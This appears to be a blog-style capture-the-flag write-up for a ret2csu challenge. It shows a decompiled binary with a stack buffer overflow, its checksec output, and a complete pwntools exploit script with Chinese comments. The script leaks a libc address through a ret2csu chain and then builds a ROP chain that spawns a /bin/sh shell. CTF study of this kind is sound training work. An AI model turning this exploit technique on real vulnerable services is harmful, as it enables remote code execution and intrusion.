超级玉米人の部屋

1
__int64 __fastcall main(int a1, char **a2, char **a3)
2
{
3
  _QWORD buf[10]; // [rsp+10h] [rbp-50h] BYREF
4

5
  write(1, "Hello, World\n", 0xDu);
6
  strcpy((char *)buf, "welcome to ret2csu , but there is sometings different,please care about it !");
7
  write(1, buf, 0x4Du);
8
  write(1, "\n", 1u);
9
  read_w();
10
  return 0;
11
}
12
ssize_t read_w()
13
{
14
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
15

16
  return read(0, buf, 0x200u);
17
}

1
 ~#@❯ checksec ./pwn
2
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/ctfplus/ret2csu/pwn'
3
  Arch:       amd64-64-little
4
  RELRO:      Partial RELRO
5
  Stack:      No canary found
6
  NX:         NX enabled
7
  PIE:        No PIE (0x400000)
8
  SHSTK:      Enabled
9
  IBT:        Enabled

1
from pwn import *
2

3
FILE = "./pwn_patched"
4

5
context.log_level = "debug"
6
context.binary = FILE
7

8
csu1 = 0x4012CA  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
9
csu2 = 0x4012B0  # mov rdx, r14; mov rsi, r13; mov edi, r12d; call [r15+rbx*8]
10

11
elf = ELF(FILE)
12
libc = ELF("./libc.so.6")
13
rop = ROP(elf)
14

15
p = process(FILE)
16
# p = remote("nc1.ctfplus.cn", 43268)
17

18
payload = flat(                 # 这道题目 gadget 给的很多 当然也可以直接用 rop
19
   {
20
    0x88: [
21
      p64(csu1),
22
      p64(0),                   # rbx = 0
23
      p64(0),                   # rbp = 0  设置为0， 这样循环只执行一次
24
      p64(1),                   # r12 -> edi = 1
25
      p64(elf.got["write"]),    # r13 -> rsi = write@got
26
      p64(8),                   # r14 -> rdx = 8
27
      p64(elf.got["write"]),    # r15 -> 执行地址
28
      p64(csu2),                # 执行call
29
      p64(0) * 7,
30
      p64(0x401156)             #  main
31
    ]
32
  },
33
  filler = "\x00"
34
)
35
# call 返回后会执行 add rbx, 1; cmp rbx, rbp
36
# 因为 rbx=0, rbp=0，执行后 rbx=1, cmp 1, 0 → 不相等，不跳转
37
# 然后执行 loc_4012C6: add rsp, 8; pop rbx; ...
38
# 所以需要填充 7 个 pop 的值
39

40
p.recvuntil(b"welcome to ret2csu , but there is sometings different,please care about it !")
41
p.recvuntil(b"\n")
42
p.send(payload)
43

44
# 接收泄露的地址
45
writeAddr = u64(p.recv(8))
46
log.success(f"write@got: {hex(writeAddr)}")
47

48
offset = 0x11c560
49

50
libcBase = writeAddr - offset
51
libc.address = writeAddr - offset
52
systemAddr = libc.sym["system"]
53
binsh = next(libc.search("/bin/sh\x00"))
54

55
log.success(f"base {hex(libc.address)}")
56
log.success(f"systemAddr {hex(systemAddr)}")
57
log.success(f"binsh {hex(binsh)}")
58

59
rdi = 0x4012d3
60
ret = 0x40101a
61

62
payload = flat(
63
  {
64
    0x88: [
65
      p64(rdi),
66
      p64(binsh),
67
      p64(ret),
68
      p64(systemAddr)
69
    ]
70
  },
71
  filler = b"\x00"
72
)
73

74
p.send(payload)
75
p.interactive()